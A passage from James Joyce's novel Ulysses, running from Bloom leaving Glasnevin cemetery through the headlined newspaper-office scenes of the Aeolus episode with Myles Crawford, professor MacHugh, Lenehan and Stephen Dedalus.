Saltwhite +crumbling mush of corpse: smell, taste like raw white turnips. + +The gates glimmered in front: still open. Back to the world again. +Enough of this place. Brings you a bit nearer every time. Last time I was +here was Mrs Sinico's funeral. Poor papa too. The love that kills. And +even scraping up the earth at night with a lantern like that case I read +of to get at fresh buried females or even putrefied with running +gravesores. Give you the creeps after a bit. I will appear to you after +death. You will see my ghost after death. My ghost will haunt you after +death. There is another world after death named hell. I do not like that +other world she wrote. No more do I. Plenty to see and hear and feel yet. +Feel live warm beings near you. Let them sleep in their maggoty beds. They +are not going to get me this innings. Warm beds: warm fullblooded life. + +Martin Cunningham emerged from a sidepath, talking gravely. + +Solicitor, I think. I know his face. Menton, John Henry, solicitor, +commissioner for oaths and affidavits. Dignam used to be in his office. +Mat Dillon's long ago. Jolly Mat. Convivial evenings. Cold fowl, cigars, +the Tantalus glasses. Heart of gold really. Yes, Menton. Got his rag out +that evening on the bowlinggreen because I sailed inside him. Pure fluke +of mine: the bias. Why he took such a rooted dislike to me. Hate at first +sight. Molly and Floey Dillon linked under the lilactree, laughing. +Fellow always like that, mortified if women are by. + +Got a dinge in the side of his hat. Carriage probably. + +--Excuse me, sir, Mr Bloom said beside them. + +They stopped. + +--Your hat is a little crushed, Mr Bloom said pointing. + +John Henry Menton stared at him for an instant without moving. + +--There, Martin Cunningham helped, pointing also. John Henry Menton took +off his hat, bulged out the dinge and smoothed the nap with care on his +coatsleeve. He clapped the hat on his head again. + +--It's all right now, Martin Cunningham said. + +John Henry Menton jerked his head down in acknowledgment. + +--Thank you, he said shortly. + +They walked on towards the gates. Mr Bloom, chapfallen, drew +behind a few paces so as not to overhear. Martin laying down the law. +Martin could wind a sappyhead like that round his little finger, without +his seeing it. + +Oyster eyes. Never mind. Be sorry after perhaps when it dawns on him. +Get the pull over him that way. + +Thank you. How grand we are this morning! + + + * * * * * * * + + + IN THE HEART OF THE HIBERNIAN METROPOLIS + + +Before Nelson's pillar trams slowed, shunted, changed trolley, started +for Blackrock, Kingstown and Dalkey, Clonskea, Rathgar and Terenure, +Palmerston Park and upper Rathmines, Sandymount Green, Rathmines, +Ringsend and Sandymount Tower, Harold's Cross. The hoarse Dublin +United Tramway Company's timekeeper bawled them off: + +--Rathgar and Terenure! + +--Come on, Sandymount Green! + +Right and left parallel clanging ringing a doubledecker and a +singledeck moved from their railheads, swerved to the down line, glided +parallel. + +--Start, Palmerston Park! + + + THE WEARER OF THE CROWN + + +Under the porch of the general post office shoeblacks called and +polished. Parked in North Prince's street His Majesty's vermilion +mailcars, bearing on their sides the royal initials, E. R., received +loudly flung sacks of letters, postcards, lettercards, parcels, insured +and paid, for local, provincial, British and overseas delivery. + + + GENTLEMEN OF THE PRESS + + +Grossbooted draymen rolled barrels dullthudding out of Prince's +stores and bumped them up on the brewery float. On the brewery float +bumped dullthudding barrels rolled by grossbooted draymen out of +Prince's stores. + +--There it is, Red Murray said. Alexander Keyes. + +--Just cut it out, will you? Mr Bloom said, and I'll take it round to the +TELEGRAPH office. + +The door of Ruttledge's office creaked again. Davy Stephens, minute +in a large capecoat, a small felt hat crowning his ringlets, passed out +with a roll of papers under his cape, a king's courier. + +Red Murray's long shears sliced out the advertisement from the +newspaper in four clean strokes. Scissors and paste. + +--I'll go through the printingworks, Mr Bloom said, taking the cut square. + +--Of course, if he wants a par, Red Murray said earnestly, a pen behind +his ear, we can do him one. + +--Right, Mr Bloom said with a nod. I'll rub that in. + +We. + + + WILLIAM BRAYDEN, + ESQUIRE, OF OAKLANDS, SANDYMOUNT + + +Red Murray touched Mr Bloom's arm with the shears and whispered: + +--Brayden. + +Mr Bloom turned and saw the liveried porter raise his lettered cap as a +stately figure entered between the newsboards of the WEEKLY FREEMAN AND +NATIONAL PRESS and the FREEMAN'S JOURNAL AND NATIONAL PRESS. Dullthudding +Guinness's barrels. It passed statelily up the staircase, steered by an +umbrella, a solemn beardframed face. The broadcloth back ascended each +step: back. All his brains are in the nape of his neck, Simon Dedalus +says. Welts of flesh behind on him. Fat folds of neck, fat, neck, fat, +neck. + +--Don't you think his face is like Our Saviour? Red Murray whispered. + +The door of Ruttledge's office whispered: ee: cree. They always build +one door opposite another for the wind to. Way in. Way out. + +Our Saviour: beardframed oval face: talking in the dusk. Mary, +Martha. Steered by an umbrella sword to the footlights: Mario the tenor. + +--Or like Mario, Mr Bloom said. + +--Yes, Red Murray agreed. But Mario was said to be the picture of Our +Saviour. + +Jesusmario with rougy cheeks, doublet and spindle legs. Hand on his +heart. In MARTHA. + + + CO-OME THOU LOST ONE, + CO-OME THOU DEAR ONE! + + + THE CROZIER AND THE PEN + + +--His grace phoned down twice this morning, Red Murray said gravely. + +They watched the knees, legs, boots vanish. Neck. + +A telegram boy stepped in nimbly, threw an envelope on the counter +and stepped off posthaste with a word: + +--FREEMAN! + +Mr Bloom said slowly: + +--Well, he is one of our saviours also. + +A meek smile accompanied him as he lifted the counterflap, as he +passed in through a sidedoor and along the warm dark stairs and passage, +along the now reverberating boards. But will he save the circulation? +Thumping. Thumping. + +He pushed in the glass swingdoor and entered, stepping over strewn +packing paper. Through a lane of clanking drums he made his way towards +Nannetti's reading closet. + +Hynes here too: account of the funeral probably. Thumping. Thump. + + + WITH UNFEIGNED REGRET IT IS WE ANNOUNCE THE DISSOLUTION + OF A MOST RESPECTED DUBLIN BURGESS + + +This morning the remains of the late Mr Patrick Dignam. Machines. +Smash a man to atoms if they got him caught. Rule the world today. His +machineries are pegging away too. Like these, got out of hand: fermenting. +Working away, tearing away. And that old grey rat tearing to get in. + + + HOW A GREAT DAILY ORGAN IS TURNED OUT + + +Mr Bloom halted behind the foreman's spare body, admiring a glossy crown. + +Strange he never saw his real country. Ireland my country. Member +for College green. He boomed that workaday worker tack for all it was +worth. It's the ads and side features sell a weekly, not the stale news in +the official gazette. Queen Anne is dead. Published by authority in the +year one thousand and. Demesne situate in the townland of Rosenallis, +barony of Tinnahinch. To all whom it may concern schedule pursuant to +statute showing return of number of mules and jennets exported from +Ballina. Nature notes. Cartoons. Phil Blake's weekly Pat and Bull story. +Uncle Toby's page for tiny tots. Country bumpkin's queries. Dear Mr +Editor, what is a good cure for flatulence? I'd like that part. Learn a +lot teaching others. The personal note. M. A. P. Mainly all pictures. +Shapely bathers on golden strand. World's biggest balloon. Double marriage +of sisters celebrated. Two bridegrooms laughing heartily at each other. +Cuprani too, printer. More Irish than the Irish. + +The machines clanked in threefour time. Thump, thump, thump. +Now if he got paralysed there and no-one knew how to stop them they'd +clank on and on the same, print it over and over and up and back. +Monkeydoodle the whole thing. Want a cool head. + +--Well, get it into the evening edition, councillor, Hynes said. + +Soon be calling him my lord mayor. Long John is backing him, they say. + +The foreman, without answering, scribbled press on a corner of the +sheet and made a sign to a typesetter. He handed the sheet silently over +the dirty glass screen. + +--Right: thanks, Hynes said moving off. + +Mr Bloom stood in his way. + +--If you want to draw the cashier is just going to lunch, he said, +pointing backward with his thumb. + +--Did you? Hynes asked. + +--Mm, Mr Bloom said. Look sharp and you'll catch him. + +--Thanks, old man, Hynes said. I'll tap him too. + +He hurried on eagerly towards the FREEMAN'S JOURNAL. + +Three bob I lent him in Meagher's. Three weeks. Third hint. + + + WE SEE THE CANVASSER AT WORK + + +Mr Bloom laid his cutting on Mr Nannetti's desk. + +--Excuse me, councillor, he said. This ad, you see. Keyes, you remember? + +Mr Nannetti considered the cutting awhile and nodded. + +--He wants it in for July, Mr Bloom said. + +The foreman moved his pencil towards it. + +--But wait, Mr Bloom said. He wants it changed. Keyes, you see. He wants +two keys at the top. + +Hell of a racket they make. He doesn't hear it. Nannan. Iron nerves. +Maybe he understands what I. + +The foreman turned round to hear patiently and, lifting an elbow, +began to scratch slowly in the armpit of his alpaca jacket. + +--Like that, Mr Bloom said, crossing his forefingers at the top. + +Let him take that in first. + +Mr Bloom, glancing sideways up from the cross he had made, saw the +foreman's sallow face, think he has a touch of jaundice, and beyond the +obedient reels feeding in huge webs of paper. Clank it. Clank it. Miles of +it unreeled. What becomes of it after? O, wrap up meat, parcels: various +uses, thousand and one things. + +Slipping his words deftly into the pauses of the clanking he drew +swiftly on the scarred woodwork. + + + HOUSE OF KEY(E)S + + +--Like that, see. Two crossed keys here. A circle. Then here the name. +Alexander Keyes, tea, wine and spirit merchant. So on. + +Better not teach him his own business. + +--You know yourself, councillor, just what he wants. Then round the top +in leaded: the house of keys. You see? Do you think that's a good idea? + +The foreman moved his scratching hand to his lower ribs and scratched +there quietly. + +--The idea, Mr Bloom said, is the house of keys. You know, councillor, +the Manx parliament. Innuendo of home rule. Tourists, you know, from the +isle of Man. Catches the eye, you see. Can you do that? + +I could ask him perhaps about how to pronounce that VOGLIO. But +then if he didn't know only make it awkward for him. Better not. + +--We can do that, the foreman said. Have you the design? + +--I can get it, Mr Bloom said. It was in a Kilkenny paper. He has a house +there too. I'll just run out and ask him. Well, you can do that and just a +little par calling attention. You know the usual. Highclass licensed +premises. Longfelt want. So on. + +The foreman thought for an instant. + +--We can do that, he said. Let him give us a three months' renewal. + +A typesetter brought him a limp galleypage. He began to check it +silently. Mr Bloom stood by, hearing the loud throbs of cranks, watching +the silent typesetters at their cases. + + + ORTHOGRAPHICAL + + +Want to be sure of his spelling. Proof fever. Martin Cunningham +forgot to give us his spellingbee conundrum this morning. It is amusing to +view the unpar one ar alleled embarra two ars is it? double ess ment of a +harassed pedlar while gauging au the symmetry with a y of a peeled pear +under a cemetery wall. Silly, isn't it? Cemetery put in of course on +account of the symmetry. + +I should have said when he clapped on his topper. Thank you. I ought +to have said something about an old hat or something. No. I could have +said. Looks as good as new now. See his phiz then. + +Sllt. The nethermost deck of the first machine jogged forward its +flyboard with sllt the first batch of quirefolded papers. Sllt. Almost +human the way it sllt to call attention. Doing its level best to speak. +That door too sllt creaking, asking to be shut. Everything speaks in its +own way. Sllt. + + + NOTED CHURCHMAN AN OCCASIONAL CONTRIBUTOR + + +The foreman handed back the galleypage suddenly, saying: + +--Wait. Where's the archbishop's letter? It's to be repeated in the +TELEGRAPH. Where's what's his name? + +He looked about him round his loud unanswering machines. + +--Monks, sir? a voice asked from the castingbox. + +--Ay. Where's Monks? + +--Monks! + +Mr Bloom took up his cutting. Time to get out. + +--Then I'll get the design, Mr Nannetti, he said, and you'll give it a +good place I know. + +--Monks! + +--Yes, sir. + +Three months' renewal. Want to get some wind off my chest first. Try +it anyhow. Rub in August: good idea: horseshow month. Ballsbridge. +Tourists over for the show. + + + A DAYFATHER + + +He walked on through the caseroom passing an old man, bowed, +spectacled, aproned. Old Monks, the dayfather. Queer lot of stuff he must +have put through his hands in his time: obituary notices, pubs' ads, +speeches, divorce suits, found drowned. Nearing the end of his tether now. +Sober serious man with a bit in the savingsbank I'd say. Wife a good cook +and washer. Daughter working the machine in the parlour. Plain Jane, no +damn nonsense. + + + AND IT WAS THE FEAST OF THE PASSOVER + + +He stayed in his walk to watch a typesetter neatly distributing type. +Reads it backwards first. Quickly he does it. Must require some practice +that. mangiD kcirtaP. Poor papa with his hagadah book, reading +backwards with his finger to me. Pessach. Next year in Jerusalem. Dear, O +dear! All that long business about that brought us out of the land of +Egypt and into the house of bondage ALLELUIA. SHEMA ISRAEL ADONAI ELOHENU. +No, that's the other. Then the twelve brothers, Jacob's sons. And then the +lamb and the cat and the dog and the stick and the water and the butcher. +And then the angel of death kills the butcher and he kills the ox and the +dog kills the cat. Sounds a bit silly till you come to look into it well. +Justice it means but it's everybody eating everyone else. That's what life +is after all. How quickly he does that job. Practice makes perfect. Seems +to see with his fingers. + +Mr Bloom passed on out of the clanking noises through the gallery on +to the landing. Now am I going to tram it out all the way and then catch +him out perhaps. Better phone him up first. Number? Yes. Same as Citron's +house. Twentyeight. Twentyeight double four. + + + ONLY ONCE MORE THAT SOAP + + +He went down the house staircase. Who the deuce scrawled all over +those walls with matches? Looks as if they did it for a bet. Heavy greasy +smell there always is in those works. Lukewarm glue in Thom's next door +when I was there. + +He took out his handkerchief to dab his nose. Citronlemon? Ah, the +soap I put there. Lose it out of that pocket. Putting back his +handkerchief he took out the soap and stowed it away, buttoned, into the +hip pocket of his trousers. + +What perfume does your wife use? I could go home still: tram: +something I forgot. Just to see: before: dressing. No. Here. No. + +A sudden screech of laughter came from the EVENING TELEGRAPH office. Know +who that is. What's up? Pop in a minute to phone. Ned Lambert it is. + +He entered softly. + + + ERIN, GREEN GEM OF THE SILVER SEA + + +--The ghost walks, professor MacHugh murmured softly, biscuitfully to +the dusty windowpane. + +Mr Dedalus, staring from the empty fireplace at Ned Lambert's +quizzing face, asked of it sourly: + +--Agonising Christ, wouldn't it give you a heartburn on your arse? + +Ned Lambert, seated on the table, read on: + +--OR AGAIN, NOTE THE MEANDERINGS OF SOME PURLING RILL AS IT BABBLES ON +ITS WAY, THO' QUARRELLING WITH THE STONY OBSTACLES, TO THE TUMBLING WATERS +OF NEPTUNE'S BLUE DOMAIN, 'MID MOSSY BANKS, FANNED BY GENTLEST ZEPHYRS, +PLAYED ON BY THE GLORIOUS SUNLIGHT OR 'NEATH THE SHADOWS CAST O'ER ITS +PENSIVE BOSOM BY THE OVERARCHING LEAFAGE OF THE GIANTS OF THE FOREST. What +about that, Simon? he asked over the fringe of his newspaper. How's that +for high? + +--Changing his drink, Mr Dedalus said. + +Ned Lambert, laughing, struck the newspaper on his knees, repeating: + +--THE PENSIVE BOSOM AND THE OVERARSING LEAFAGE. O boys! O boys! + +--And Xenophon looked upon Marathon, Mr Dedalus said, looking again +on the fireplace and to the window, and Marathon looked on the sea. + +--That will do, professor MacHugh cried from the window. I don't want to +hear any more of the stuff. + +He ate off the crescent of water biscuit he had been nibbling and, +hungered, made ready to nibble the biscuit in his other hand. + +High falutin stuff. Bladderbags. Ned Lambert is taking a day off I +see. Rather upsets a man's day, a funeral does. He has influence they say. +Old Chatterton, the vicechancellor, is his granduncle or his +greatgranduncle. Close on ninety they say. Subleader for his death written +this long time perhaps. Living to spite them. Might go first himself. +Johnny, make room for your uncle. The right honourable Hedges Eyre +Chatterton. Daresay he writes him an odd shaky cheque or two on gale days. +Windfall when he kicks out. Alleluia. + +--Just another spasm, Ned Lambert said. + +--What is it? Mr Bloom asked. + +--A recently discovered fragment of Cicero, professor MacHugh answered +with pomp of tone. OUR LOVELY LAND. + + + SHORT BUT TO THE POINT + + +--Whose land? Mr Bloom said simply. + +--Most pertinent question, the professor said between his chews. With an +accent on the whose. + +--Dan Dawson's land Mr Dedalus said. + +--Is it his speech last night? Mr Bloom asked. + +Ned Lambert nodded. + +--But listen to this, he said. + +The doorknob hit Mr Bloom in the small of the back as the door was +pushed in. + +--Excuse me, J. J. O'Molloy said, entering. + +Mr Bloom moved nimbly aside. + +--I beg yours, he said. + +--Good day, Jack. + +--Come in. Come in. + +--Good day. + +--How are you, Dedalus? + +--Well. And yourself? + +J. J. O'Molloy shook his head. + + + SAD + + +Cleverest fellow at the junior bar he used to be. Decline, poor chap. +That hectic flush spells finis for a man. Touch and go with him. What's in +the wind, I wonder. Money worry. + +--OR AGAIN IF WE BUT CLIMB THE SERRIED MOUNTAIN PEAKS. + +--You're looking extra. + +--Is the editor to be seen? J. J. O'Molloy asked, looking towards the +inner door. + +--Very much so, professor MacHugh said. To be seen and heard. He's in +his sanctum with Lenehan. + +J. J. O'Molloy strolled to the sloping desk and began to turn back the +pink pages of the file. + +Practice dwindling. A mighthavebeen. Losing heart. Gambling. Debts +of honour. Reaping the whirlwind. Used to get good retainers from D. and +T. Fitzgerald. Their wigs to show the grey matter. Brains on their sleeve +like the statue in Glasnevin. Believe he does some literary work for the +EXPRESS with Gabriel Conroy. Wellread fellow. Myles Crawford began on +the INDEPENDENT. Funny the way those newspaper men veer about when +they get wind of a new opening. Weathercocks. Hot and cold in the same +breath. Wouldn't know which to believe. One story good till you hear the +next. Go for one another baldheaded in the papers and then all blows over. +Hail fellow well met the next moment. + +--Ah, listen to this for God' sake, Ned Lambert pleaded. OR AGAIN IF WE +BUT CLIMB THE SERRIED MOUNTAIN PEAKS ... + +--Bombast! the professor broke in testily. Enough of the inflated +windbag! + +--PEAKS, Ned Lambert went on, TOWERING HIGH ON HIGH, TO BATHE OUR SOULS, +AS IT WERE ... + +--Bathe his lips, Mr Dedalus said. Blessed and eternal God! Yes? Is he +taking anything for it? + +--AS 'TWERE, IN THE PEERLESS PANORAMA OF IRELAND'S PORTFOLIO, UNMATCHED, +DESPITE THEIR WELLPRAISED PROTOTYPES IN OTHER VAUNTED PRIZE REGIONS, FOR +VERY BEAUTY, OF BOSKY GROVE AND UNDULATING PLAIN AND LUSCIOUS PASTURELAND +OF VERNAL GREEN, STEEPED IN THE TRANSCENDENT TRANSLUCENT GLOW OF OUR MILD +MYSTERIOUS IRISH TWILIGHT ... + + + HIS NATIVE DORIC + + +--The moon, professor MacHugh said. He forgot Hamlet. + +--THAT MANTLES THE VISTA FAR AND WIDE AND WAIT TILL THE GLOWING ORB OF +THE MOON SHINE FORTH TO IRRADIATE HER SILVER EFFULGENCE ... + +--O! Mr Dedalus cried, giving vent to a hopeless groan. Shite and onions! +That'll do, Ned. Life is too short. + +He took off his silk hat and, blowing out impatiently his bushy +moustache, welshcombed his hair with raking fingers. + +Ned Lambert tossed the newspaper aside, chuckling with delight. An +instant after a hoarse bark of laughter burst over professor MacHugh's +unshaven blackspectacled face. + +--Doughy Daw! he cried. + + + WHAT WETHERUP SAID + + +All very fine to jeer at it now in cold print but it goes down like hot +cake that stuff. He was in the bakery line too, wasn't he? Why they call +him Doughy Daw. Feathered his nest well anyhow. Daughter engaged to that +chap in the inland revenue office with the motor. Hooked that nicely. +Entertainments. Open house. Big blowout. Wetherup always said that. Get +a grip of them by the stomach. + +The inner door was opened violently and a scarlet beaked face, +crested by a comb of feathery hair, thrust itself in. The bold blue eyes +stared about them and the harsh voice asked: + +--What is it? + +--And here comes the sham squire himself! professor MacHugh said grandly. + +--Getonouthat, you bloody old pedagogue! the editor said in recognition. + +--Come, Ned, Mr Dedalus said, putting on his hat. I must get a drink +after that. + +--Drink! the editor cried. No drinks served before mass. + +--Quite right too, Mr Dedalus said, going out. Come on, Ned. + +Ned Lambert sidled down from the table. The editor's blue eyes roved +towards Mr Bloom's face, shadowed by a smile. + +--Will you join us, Myles? Ned Lambert asked. + + + MEMORABLE BATTLES RECALLED + + +--North Cork militia! the editor cried, striding to the mantelpiece. We +won every time! North Cork and Spanish officers! + +--Where was that, Myles? Ned Lambert asked with a reflective glance at +his toecaps. + +--In Ohio! the editor shouted. + +--So it was, begad, Ned Lambert agreed. + +Passing out he whispered to J. J. O'Molloy: + +--Incipient jigs. Sad case. + +--Ohio! the editor crowed in high treble from his uplifted scarlet face. +My Ohio! + +--A perfect cretic! the professor said. Long, short and long. + + + O, HARP EOLIAN! + + +He took a reel of dental floss from his waistcoat pocket and, breaking +off a piece, twanged it smartly between two and two of his resonant +unwashed teeth. + +--Bingbang, bangbang. + +Mr Bloom, seeing the coast clear, made for the inner door. + +--Just a moment, Mr Crawford, he said. I just want to phone about an ad. + +He went in. + +--What about that leader this evening? professor MacHugh asked, coming +to the editor and laying a firm hand on his shoulder. + +--That'll be all right, Myles Crawford said more calmly. Never you fret. +Hello, Jack. That's all right. + +--Good day, Myles, J. J. O'Molloy said, letting the pages he held slip +limply back on the file. Is that Canada swindle case on today? + +The telephone whirred inside. + +--Twentyeight ... No, twenty ... Double four ... Yes. + + + SPOT THE WINNER + + +Lenehan came out of the inner office with SPORT'S tissues. + +--Who wants a dead cert for the Gold cup? he asked. Sceptre with O. +Madden up. + +He tossed the tissues on to the table. + +Screams of newsboys barefoot in the hall rushed near and the door +was flung open. + +--Hush, Lenehan said. I hear feetstoops. + +Professor MacHugh strode across the room and seized the cringing +urchin by the collar as the others scampered out of the hall and down the +steps. The tissues rustled up in the draught, floated softly in the air +blue scrawls and under the table came to earth. + +--It wasn't me, sir. It was the big fellow shoved me, sir. + +--Throw him out and shut the door, the editor said. There's a hurricane +blowing. + +Lenehan began to paw the tissues up from the floor, grunting as he +stooped twice. + +--Waiting for the racing special, sir, the newsboy said. It was Pat +Farrell shoved me, sir. + +He pointed to two faces peering in round the doorframe. + +--Him, sir. + +--Out of this with you, professor MacHugh said gruffly. + +He hustled the boy out and banged the door to. + +J. J. O'Molloy turned the files crackingly over, murmuring, seeking: + +--Continued on page six, column four. + +--Yes, EVENING TELEGRAPH here, Mr Bloom phoned from the inner office. Is +the boss ...? Yes, TELEGRAPH ... To where? Aha! Which auction rooms? ... +Aha! I see ... Right. I'll catch him. + + + A COLLISION ENSUES + + +The bell whirred again as he rang off. He came in quickly and +bumped against Lenehan who was struggling up with the second tissue. + +--PARDON, MONSIEUR, Lenehan said, clutching him for an instant and making +a grimace. + +--My fault, Mr Bloom said, suffering his grip. Are you hurt? I'm in a +hurry. + +--Knee, Lenehan said. + +He made a comic face and whined, rubbing his knee: + +--The accumulation of the ANNO DOMINI. + +--Sorry, Mr Bloom said. + +He went to the door and, holding it ajar, paused. J. J. O'Molloy +slapped the heavy pages over. The noise of two shrill voices, a +mouthorgan, echoed in the bare hallway from the newsboys squatted on the +doorsteps: + + + --WE ARE THE BOYS OF WEXFORD + WHO FOUGHT WITH HEART AND HAND. + + + EXIT BLOOM + + +--I'm just running round to Bachelor's walk, Mr Bloom said, about this ad +of Keyes's. Want to fix it up. They tell me he's round there in Dillon's. + +He looked indecisively for a moment at their faces. The editor who, +leaning against the mantelshelf, had propped his head on his hand, +suddenly stretched forth an arm amply. + +--Begone! he said. The world is before you. + +--Back in no time, Mr Bloom said, hurrying out. + +J. J. O'Molloy took the tissues from Lenehan's hand and read them, +blowing them apart gently, without comment. + +--He'll get that advertisement, the professor said, staring through his +blackrimmed spectacles over the crossblind. Look at the young scamps after +him. + +--Show. Where? Lenehan cried, running to the window. + + + A STREET CORTEGE + + +Both smiled over the crossblind at the file of capering newsboys in Mr +Bloom's wake, the last zigzagging white on the breeze a mocking kite, a +tail of white bowknots. + +--Look at the young guttersnipe behind him hue and cry, Lenehan said, and +you'll kick. O, my rib risible! Taking off his flat spaugs and the walk. +Small nines. Steal upon larks. + +He began to mazurka in swift caricature across the floor on sliding +feet past the fireplace to J. J. O'Molloy who placed the tissues in his +receiving hands. + +--What's that? Myles Crawford said with a start. Where are the other two +gone? + +--Who? the professor said, turning. They're gone round to the Oval for a +drink. Paddy Hooper is there with Jack Hall. Came over last night. + +--Come on then, Myles Crawford said. Where's my hat? + +He walked jerkily into the office behind, parting the vent of his jacket, +jingling his keys in his back pocket. They jingled then in the air and +against the wood as he locked his desk drawer. + +--He's pretty well on, professor MacHugh said in a low voice. + +--Seems to be, J. J. O'Molloy said, taking out a cigarettecase in +murmuring meditation, but it is not always as it seems. Who has the most +matches? + + + THE CALUMET OF PEACE + + +He offered a cigarette to the professor and took one himself. Lenehan +promptly struck a match for them and lit their cigarettes in turn. J. J. +O'Molloy opened his case again and offered it. + +--THANKY VOUS, Lenehan said, helping himself. + +The editor came from the inner office, a straw hat awry on his brow. +He declaimed in song, pointing sternly at professor MacHugh: + + + --'TWAS RANK AND FAME THAT TEMPTED THEE, + 'TWAS EMPIRE CHARMED THY HEART. + + +The professor grinned, locking his long lips. + +--Eh? You bloody old Roman empire? Myles Crawford said. + +He took a cigarette from the open case. Lenehan, lighting it for him +with quick grace, said: + +--Silence for my brandnew riddle! + +--IMPERIUM ROMANUM, J. J. O'Molloy said gently. It sounds nobler than +British or Brixton. The word reminds one somehow of fat in the fire. + +Myles Crawford blew his first puff violently towards the ceiling. + +--That's it, he said. We are the fat. You and I are the fat in the fire. +We haven't got the chance of a snowball in hell. + + + THE GRANDEUR THAT WAS ROME + + +--Wait a moment, professor MacHugh said, raising two quiet claws. We +mustn't be led away by words, by sounds of words. We think of Rome, +imperial, imperious, imperative. + +He extended elocutionary arms from frayed stained shirtcuffs, pausing: + +--What was their civilisation? Vast, I allow: but vile. Cloacae: sewers. +The Jews in the wilderness and on the mountaintop said: IT IS MEET TO BE +HERE. LET US BUILD AN ALTAR TO JEHOVAH. The Roman, like the Englishman who +follows in his footsteps, brought to every new shore on which he set his +foot (on our shore he never set it) only his cloacal obsession. He gazed +about him in his toga and he said: IT IS MEET TO BE HERE. LET US CONSTRUCT +A WATERCLOSET. + +--Which they accordingly did do, Lenehan said. Our old ancient ancestors, +as we read in the first chapter of Guinness's, were partial to the running +stream. + +--They were nature's gentlemen, J. J. O'Molloy murmured. But we have +also Roman law. + +--And Pontius Pilate is its prophet, professor MacHugh responded. + +--Do you know that story about chief baron Palles? J. J. O'Molloy asked. +It was at the royal university dinner. Everything was going +swimmingly ... + +--First my riddle, Lenehan said. Are you ready? + +Mr O'Madden Burke, tall in copious grey of Donegal tweed, came in +from the hallway. Stephen Dedalus, behind him, uncovered as he entered. + +--ENTREZ, MES ENFANTS! Lenehan cried. + +--I escort a suppliant, Mr O'Madden Burke said melodiously. Youth led by +Experience visits Notoriety. + +--How do you do? the editor said, holding out a hand. Come in. Your +governor is just gone. + + + ? ? ? + + +Lenehan said to all: + +--Silence! What opera resembles a railwayline? Reflect, ponder, +excogitate, reply. + +Stephen handed over the typed sheets, pointing to the title and signature. + +--Who? the editor asked. + +Bit torn off. + +--Mr Garrett Deasy, Stephen said. + +--That old pelters, the editor said. Who tore it? Was he short taken? + + + ON SWIFT SAIL FLAMING + FROM STORM AND SOUTH + HE COMES, PALE VAMPIRE, + MOUTH TO MY MOUTH. + + +--Good day, Stephen, the professor said, coming to peer over their +shoulders. Foot and mouth? Are you turned ...? + +Bullockbefriending bard. + + + SHINDY IN WELLKNOWN RESTAURANT + + +--Good day, sir, Stephen answered blushing. The letter is not mine. Mr +Garrett Deasy asked me to ... + +--O, I know him, Myles Crawford said, and I knew his wife too. The +bloodiest old tartar God ever made. By Jesus, she had the foot and mouth +disease and no mistake! The night she threw the soup in the waiter's face +in the Star and Garter. Oho! + +A woman brought sin into the world. For Helen, the runaway wife of +Menelaus, ten years the Greeks. O'Rourke, prince of Breffni. + +--Is he a widower? Stephen asked. + +--Ay, a grass one, Myles Crawford said, his eye running down the +typescript. Emperor's horses. Habsburg. An Irishman saved his life on the +ramparts of Vienna. Don't you forget! Maximilian Karl O'Donnell, graf +von Tirconnell in Ireland. Sent his heir over to make the king an Austrian +fieldmarshal now. Going to be trouble there one day. Wild geese. O yes, +every time. Don't you forget that! + +--The moot point is did he forget it, J. J. O'Molloy said quietly, +turning a horseshoe paperweight. Saving princes is a thank you job. + +Professor MacHugh turned on him. + +--And if not? he said. + +--I'll tell you how it was, Myles Crawford began. A Hungarian it was one +day ... + + + LOST CAUSES + + + NOBLE MARQUESS MENTIONED + + +--We were always loyal to lost causes, the professor said. Success for us +is the death of the intellect and of the imagination. We were never loyal +to the successful. We serve them. I teach the blatant Latin language. I +speak the tongue of a race the acme of whose mentality is the maxim: time +is money. Material domination. DOMINUS! Lord! Where is the spirituality? +Lord Jesus? Lord Salisbury? A sofa in a westend club. But the Greek! + + + KYRIE ELEISON! + + +A smile of light brightened his darkrimmed eyes, lengthened his long +lips. + +--The Greek! he said again. KYRIOS! Shining word! The vowels the Semite +and the Saxon know not. KYRIE! The radiance of the intellect. I ought to +profess Greek, the language of the mind. KYRIE ELEISON! The closetmaker +and the cloacamaker will never be lords of our spirit. We are liege +subjects of the catholic chivalry of Europe that foundered at Trafalgar +and of the empire of the spirit, not an IMPERIUM, that went under with the +Athenian fleets at Aegospotami. Yes, yes. They went under. Pyrrhus, misled +by an oracle, made a last attempt to retrieve the fortunes of Greece. +Loyal to a lost cause. + +He strode away from them towards the window. + +--They went forth to battle, Mr O'Madden Burke said greyly, but they +always fell. + +--Boohoo! Lenehan wept with a little noise. Owing to a brick received in +the latter half of the MATINEE. Poor, poor, poor Pyrrhus! + +He whispered then near Stephen's ear: + + + LENEHAN'S LIMERICK + + --THERE'S A PONDEROUS PUNDIT MACHUGH + WHO WEARS GOGGLES OF EBONY HUE. + AS HE MOSTLY SEES DOUBLE + TO WEAR THEM WHY TROUBLE? + I CAN'T SEE THE JOE MILLER. CAN YOU? + + +In mourning for Sallust, Mulligan says. Whose mother is beastly dead. + +Myles Crawford crammed the sheets into a sidepocket. + +--That'll be all right, he said. I'll read the rest after. That'll be all +right. + +Lenehan extended his hands in protest. + +--But my riddle! he said. What opera is like a railwayline? + +--Opera? Mr O'Madden Burke's sphinx face reriddled. + +Lenehan announced gladly: + + +--THE ROSE OF CASTILE. See the wheeze? Rows of cast steel. Gee! + +He poked Mr O'Madden Burke mildly in the spleen. Mr O'Madden Burke +fell back with grace on his umbrella, feigning a gasp. + +--Help! he sighed. I feel a strong weakness. + +Lenehan, rising to tiptoe, fanned his face rapidly with the rustling +tissues. + +The professor, returning by way of the files, swept his hand across +Stephen's and Mr O'Madden Burke's loose ties. + +--Paris, past and present, he said. You look like communards. + +--Like fellows who had blown up the Bastile, J. J. O'Molloy said in quiet +mockery. Or was it you shot the lord lieutenant of Finland between you? +You look as though you had done the deed. General Bobrikoff. + + + OMNIUM GATHERUM + + +--We were only thinking about it, Stephen said. + +--All the talents, Myles Crawford said. Law, the classics ... + +--The turf, Lenehan put in. + +--Literature, the press. + +--If Bloom were here, the professor said. The gentle art of advertisement. + +--And Madam Bloom, Mr O'Madden Burke added. The vocal muse. Dublin's +prime favourite. + + Lenehan gave a loud cough. + +--Ahem! he said very softly. O, for a fresh of breath air! I caught a +cold in the park. The gate was open. + + + YOU CAN DO IT! + + +The editor laid a nervous hand on Stephen's shoulder. + +--I want you to write something for me, he said. Something with a bite in +it. You can do it. I see it in your face. IN THE LEXICON OF YOUTH ... + +See it in your face. See it in your eye. Lazy idle little schemer. + +--Foot and mouth disease! the editor cried in scornful invective. Great +nationalist meeting in Borris-in-Ossory. All balls! Bulldosing the public! +Give them something with a bite in it. Put us all 